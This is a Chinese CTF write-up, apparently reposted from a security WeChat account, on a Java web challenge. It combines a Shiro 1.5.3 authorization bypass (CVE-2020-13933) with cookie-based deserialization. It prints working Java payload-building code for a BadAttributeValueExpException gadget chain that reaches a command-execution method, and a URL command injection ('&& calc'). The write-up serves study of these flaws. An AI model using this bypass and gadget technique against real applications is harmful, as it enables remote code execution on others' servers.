一道shiro反序列化转型引发的思考

admin

101400
文章

87
评论

2021年4月24日21:13:25评论111 views字数 6573阅读21分54秒阅读模式

前言

这是某银行的内部的一个CTF比赛，受邀参加。题目三个关键词权限绕过、 shiro、反序列化，题目源码已经被修改，但考察本质没有，题目源码会上传到JavaLearnVulnerability。

黑盒测试

xray测试shiro的key
dirsearch跑目录
sqlmap测试登陆框是否存在sql注入

白盒代码审计

原码初步分析

版本shiro == 1.5.3（不存在remember反序列化漏洞，但存在CVE-2020-13933权限绕过漏洞）

shiro验证通过Realm的方式判断用户是否合法，此处重写doGetAuthorizationInfo方法，账户名admin（可能有用）。


protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {        String username = (String)authenticationToken.getPrincipal();        if (!"admin".equals(username)) {            throw new UnknownAccountException("unkown user");        } else {            return new SimpleAuthenticationInfo(username, UUID.randomUUID().toString().replaceAll("-", ""), getName());        }    }

访问控制权限，可能看到index，dologin存在访问权限。

* anon：匿名用户可访问
* authc：认证用户可访问
* user：使用rememberMe可访问
* perms：对应权限可访问
* role：对应角色权限可访问





   @Bean   ShiroFilterFactoryBean shiroFilterFactoryBean() {       ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();       bean.setSecurityManager(this.securityManager());       bean.setLoginUrl("/login");       Map<String, String> map = new LinkedHashMap();       map.put("/doLogin", "anon");       map.put("/index/*", "authc");       bean.setFilterChainDefinitionMap(map);       return bean;    }

SQL注入？第一眼反应感觉可能存在注入裂缝或者是XSS但又想到是CTF比赛，应该是不会考察XSS，所以觉得是SQL注入漏洞，然后用SQLMAP尝试一波注入绕过后，没有发现SQL注入漏洞。




@Override   public String filter(String param) {       String[] keyWord = new String[]{"'", ""","select", "union", "/;", "/%3b"};       String[] var3 = keyWord;       int var4 = keyWord.length;
       for(int var5 = 0; var5 < var4; ++var5) {           String i = var3[var5];           param = param.replaceAll(i, "");       }
       return param;    }

远程命令执行？翻遍代码发现调用exeCmd方法只有LogHandler。




public static String exeCmd(StringcommandStr) {       BufferedReader br = null;       String OS = System.getProperty("os.name").toLowerCase();
       try {           Process p = null;           if (OS.startsWith("win")){                p =Runtime.getRuntime().exec(new String[]{"cmd", "/c", commandStr});           }else {                p =Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c",commandStr});           }
           br = new BufferedReader(new InputStreamReader(p.getInputStream()));           String line = null;            StringBuilder sb = new StringBuilder();
           while((line = br.readLine()) != null) {                sb.append(line +"n");           }
           return sb.toString();       } catch (Exception var5) {           var5.printStackTrace();           return "error";       }    }











灰盒测试










根据获取的账号admin尝试爆破（无果）


sql注入再次尝试根据前面过滤掉参数进行bypass（无果），后期发现根本没有数据库链接操作，不可能存在sql注入。


根据获取的shiro版本可知，没有shiro反序列化漏洞但有权限绕过（成功）。


目前为止只能根据页面知道，该页面是一个访问日志展示页面。












源码深度刨析











深度分析
Javaweb题目当然还是得从web页面分析，看原始分析一共就两个类访问控制器是处理web请求的。


IndexController处理登录前后页面


LoginController处理登录请求页面


前面分析到没有数据库，在源码也没发现登录的账号和密码故不用考虑LoginController类，深度分析IndexController类发现该类存在反序列化操作。


@GetMapping({"/index/{name}"})    public String index(HttpServletRequest request, HttpServletResponse response, @PathVariable String name) throws Exception {        Cookie[] cookies = request.getCookies();        boolean exist = false;        Cookie cookie = null;        User user = null;        if (cookies != null) {            Cookie[] var8 = cookies;            int var9 = cookies.length;
            for(int var10 = 0; var10 < var9; ++var10) {                Cookie c = var8[var10];                //判断cookie中是否存在hacker字段                if (c.getName().equals("hacker")) {                    exist = true;                    cookie = c;                    break;                }            }        }
        // 存在hacker字段，执行反序列化操作        //         if (exist) {
            byte[] bytes = Tools.base64Decode(cookie.getValue());            //反序列化操作点            user = (User)Tools.deserialize(bytes);

        } else {        // 没有hacker字段，添加一个并设置其值            user = new User();            user.setID(1);            user.setUserName(name);            cookie = new Cookie("hacker", Tools.base64Encode(Tools.serialize(user)));            response.addCookie(cookie);        }        // 添加值到前端页面        request.setAttribute("hacker", user);        request.setAttribute("logs", new LogHandler());        return "index";    }

前端源码


存在反序列化点，下一步肯定构造反序列化请求，但如何构造反序列化请求呢？前文提及到调用exeCmd方法只有LogHandler类。分析该类，两个方法都调用exeCmd执行命令。invoke方法里面调用的exeCmd是执行wirteLog命令，而toString方法里面调用exeCmd是执行readLog命令。

public class LogHandler extends HashSet implements InvocationHandler {
    private Object target;    private String readLog = "tail  accessLog.txt";    private String writeLog = "echo /test >> accessLog.txt";
    public LogHandler() {    }
    public LogHandler(Object target) {        this.target = target;    }
    @Override    // 请求url路径写入访问日志    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {        Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));        return method.invoke(this.target, args);    }
    @Override    // 读取日志返回结果    public String toString() {        return Tools.exeCmd(this.readLog);    }}

小结
总结下目前为止所有的信息点：
1. 存在权限绕过，URL：index/%3b/admin（/％3b可以是/'/，select，union，/;之一）
2. 存在反序列化点IndexController#index，构造请求cookie一定要有hacker分段。
3. index/admin是访问日志
4. 反序列化执行的点在LogHandler其中的两个方法
Payload构造
下面两端代码分别是通过反射调用invoke和toString方法达到执行命令的目的，对比一下很明显toString方法更加的简单质朴。
public void invoke() throws Throwable {        LogHandler logHandler = new LogHandler();        Field wirtelog = logHandler.getClass().getDeclaredField("writeLog");        wirtelog.setAccessible(true);        wirtelog.set(logHandler, "calc");        Object ob = new Object();        Method method = logHandler.getClass().getMethod("invoke", Object.class, Method.class, Object[].class);        Object[] obs = new Object[]{"asd","asd"};        logHandler.invoke(ob,method,obs);    }



public void ToString() throws NoSuchFieldException, IllegalAccessException {        LogHandler logHandler = new LogHandler();        Field readlog = logHandler.getClass().getDeclaredField("readLog");        readlog.setAccessible(true);        readlog.set(logHandler, "calc");        logHandler.toString();
    }



反序列化点get！反序列化目标get！最后一步构造反序列化链！现在缺少一个封装类将构造好的类封装发给服务器直接反序列化，ysoserial其中的CC5中使用的BadAttributeValueExpException异常类满足要求。最终Payload如下：
public static void Calc() throws Throwable {        LogHandler logHandler = new LogHandler();        Field readlog = logHandler.getClass().getDeclaredField("readLog");        readlog.setAccessible(true);        readlog.set(logHandler, "calc");        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");        field.setAccessible(true);        field.set(badAttributeValueExpException, logHandler);        String datas = Tools.base64Encode(Tools.serialize(badAttributeValueExpException));        System.out.println("Cookie: " + "hacker="+ datas);
    }

非预期—执行命令

效果如下：访问/ index / admin && calc会执行命令


原因分析
根本原因在下面这一段，作者没有考虑到用户会使用管道来执行命令，直接将url路径直接就写访问日志中，导致执行命令。
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {        Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));        return method.invoke(this.target, args);    }











知识补充











写到这，其实是对shiro一些知识的补充。前期对shiro了解更多，后期做了大量知识补充。官方给的是jar包，反编译之后改成自己的踩了一些坑。顺便记录一下，只想看翻译分析的可以pass。
1. 下面是自己不仔细导致错误，其实都知道，但是忘记了


User没有实现Serializable接口导致报错，不能反序列化


User类没有serialVersionUID导致报错，版本不一致


2. Tools类没有判断操作系统的版本，导致执行命令不成功


3. tail命令在Windows系统是没有的，导致无法生成acessLog.txt文件

4. tail加了-f参数导致服务器一直读取文件，导致连续不回显
5. 注释掉MyFilter中Component就是shiro原本的CVE-2020-13933漏洞


6. 学习了b站关于shiro内容【狂神说Java】SpringBoot整合Shiro框架










总结








 *              Gadget： *                  Tools.base64Decode() *                      Tools.deserialize() *                          ObjectInputStream.readObject() *                              BadAttributeValueExpException.readObject() *                                  LogHandler.toSting() *                                      Tools.exeCmd()

当时写这个题目的时候已经无限接近答案了，只是当时不确定怎么封装类。不得不说CC链还是不熟悉，没有完全吃透，不得不说CC永远的神！
参考
https://github.com/SummerSec/JavaLearnVulnerability
https://www.bilibili.com/video/BV1NE411i7S8
（点击“阅读原文”查看链接）




- End -

精彩推荐
黑客劫持Perl.com域名

长达九年的数据泄露，被“杀熟”的马航常客会员

如何隐蔽你的C2

FQvuln 1靶场渗透测试实战









戳“阅读原文”查看更多内容





本文始发于微信公众号（安全客）：一道shiro反序列化转型引发的思考